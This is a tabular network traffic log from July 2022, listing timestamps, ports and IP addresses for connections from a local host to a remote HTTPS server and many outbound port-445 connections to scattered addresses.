Jul 21, 2022 04:34:44.912638903 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912693977 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912703991 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.912761927 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912813902 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912919998 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.912930012 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.913111925 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.914900064 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.914911985 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.914930105 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915043116 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915050030 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915064096 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915142059 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915152073 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915196896 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915208101 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915261030 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915268898 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915282011 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915359974 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915373087 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.915435076 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.915492058 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.916322947 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.918068886 CEST	50549	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:44.918091059 CEST	443	50549	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:44.992064953 CEST	50599	445	192.168.2.6	219.111.72.50
Jul 21, 2022 04:34:45.000503063 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.000585079 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.032532930 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.032608032 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.190918922 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.190941095 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.190956116 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191055059 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191063881 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191077948 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191092014 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191185951 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191205978 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191226959 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191235065 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191319942 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191330910 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191361904 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191370964 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191385031 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191426992 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191432953 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191495895 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191503048 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191517115 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191585064 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191591978 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191602945 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191698074 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191703081 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191711903 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191740990 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191746950 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191822052 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191828012 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191838026 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191888094 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.191894054 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191958904 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.191992998 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.192001104 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.192017078 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.192051888 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.192126036 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.192967892 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.192984104 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193099022 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193309069 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193320990 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193340063 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193347931 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193473101 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193486929 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193504095 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193541050 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193550110 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193644047 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193650961 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193661928 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193675995 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193720102 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193810940 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193816900 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193833113 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193840027 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193943977 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.193952084 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193967104 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.193995953 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.194087029 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.199702978 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.201244116 CEST	50548	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.201266050 CEST	443	50548	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.224509954 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.224626064 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.226342916 CEST	50600	445	192.168.2.6	182.81.85.220
Jul 21, 2022 04:34:45.305540085 CEST	50601	445	192.168.2.6	190.98.231.7
Jul 21, 2022 04:34:45.367285967 CEST	50602	445	192.168.2.6	200.187.53.72
Jul 21, 2022 04:34:45.367925882 CEST	50603	445	192.168.2.6	200.228.138.94
Jul 21, 2022 04:34:45.368602991 CEST	50604	445	192.168.2.6	63.46.249.253
Jul 21, 2022 04:34:45.369260073 CEST	50605	445	192.168.2.6	20.203.251.252
Jul 21, 2022 04:34:45.370031118 CEST	50606	445	192.168.2.6	140.196.62.57
Jul 21, 2022 04:34:45.370773077 CEST	50607	445	192.168.2.6	3.29.183.203
Jul 21, 2022 04:34:45.371462107 CEST	50608	445	192.168.2.6	102.215.83.75
Jul 21, 2022 04:34:45.376199961 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376221895 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376238108 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376321077 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376329899 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376342058 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376374960 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376388073 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376430988 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376436949 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376455069 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376507998 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376517057 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376528025 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376574993 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376581907 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376600981 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376657009 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376665115 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376732111 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376743078 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376769066 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376787901 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376795053 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376807928 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376878023 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376888990 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376914024 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376923084 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.376930952 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.376995087 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377005100 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377036095 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377074003 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377082109 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377129078 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377140999 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377166986 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377201080 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377211094 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377229929 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377257109 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377264977 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.377314091 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.377370119 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379317045 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379340887 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379460096 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379621029 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379633904 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379677057 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379694939 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379859924 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379880905 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379909992 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.379934072 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.379945993 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380032063 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380044937 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380074978 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380095959 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380106926 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380273104 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380287886 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380326033 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380345106 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380459070 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380496979 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380527020 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380562067 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380573988 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380590916 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380701065 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380711079 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380726099 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.380732059 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.380835056 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381201029 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381206036 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381221056 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381226063 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381387949 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381397963 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381412983 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381427050 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381546974 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381557941 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381575108 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381594896 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381599903 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381606102 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381695986 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381705046 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381819010 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381829023 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381844044 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381850958 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381863117 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.381869078 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.381963968 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.382040024 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.382050037 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.382122993 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.382872105 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.382884026 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.382903099 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383059025 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383187056 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383193970 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383213997 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383233070 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383363008 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383372068 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383430958 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383436918 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383454084 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383536100 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383543015 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383609056 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383616924 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383632898 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383683920 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383692026 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.383786917 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.383853912 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.384356022 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.384366989 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.384388924 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.384489059 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.423494101 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.423531055 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.423578024 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.423593998 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.423810005 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.423836946 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.424329996 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.424357891 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.424559116 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.425501108 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.425525904 CEST	443	50551	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.425535917 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.425592899 CEST	50551	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.429527998 CEST	50609	445	192.168.2.6	65.230.254.80
Jul 21, 2022 04:34:45.461122990 CEST	50610	445	192.168.2.6	38.153.17.87
Jul 21, 2022 04:34:45.652884007 CEST	50611	445	192.168.2.6	189.241.57.161
Jul 21, 2022 04:34:45.728024006 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728040934 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728055000 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728189945 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728197098 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728215933 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728223085 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728236914 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728292942 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728303909 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728430033 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728442907 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728460073 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728472948 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728600025 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728614092 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728636980 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.728642941 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.728657961 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729094028 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729105949 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729119062 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729132891 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729250908 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729258060 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729269981 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729285955 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729296923 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729418993 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729430914 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729446888 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729459047 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729465961 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729490995 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729496956 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729638100 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729645967 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729671001 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729677916 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729693890 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729800940 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729809999 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.729897022 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.729903936 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.737071991 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.737093925 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.737215996 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.738739967 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.738750935 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.738765955 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.738779068 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.738938093 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.738945961 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.738960028 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.738976002 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.738985062 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739075899 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739080906 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739097118 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739197016 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739207983 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739223003 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739232063 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739245892 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739295959 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739305019 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739367008 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739373922 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739387989 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739491940 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739500999 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739514112 CEST	50546	443	192.168.2.6	80.67.82.211
Jul 21, 2022 04:34:45.739522934 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739537001 CEST	443	50546	80.67.82.211	192.168.2.6
Jul 21, 2022 04:34:45.739629030 CEST	50546	443	192.168.2.6	80.67.82.211
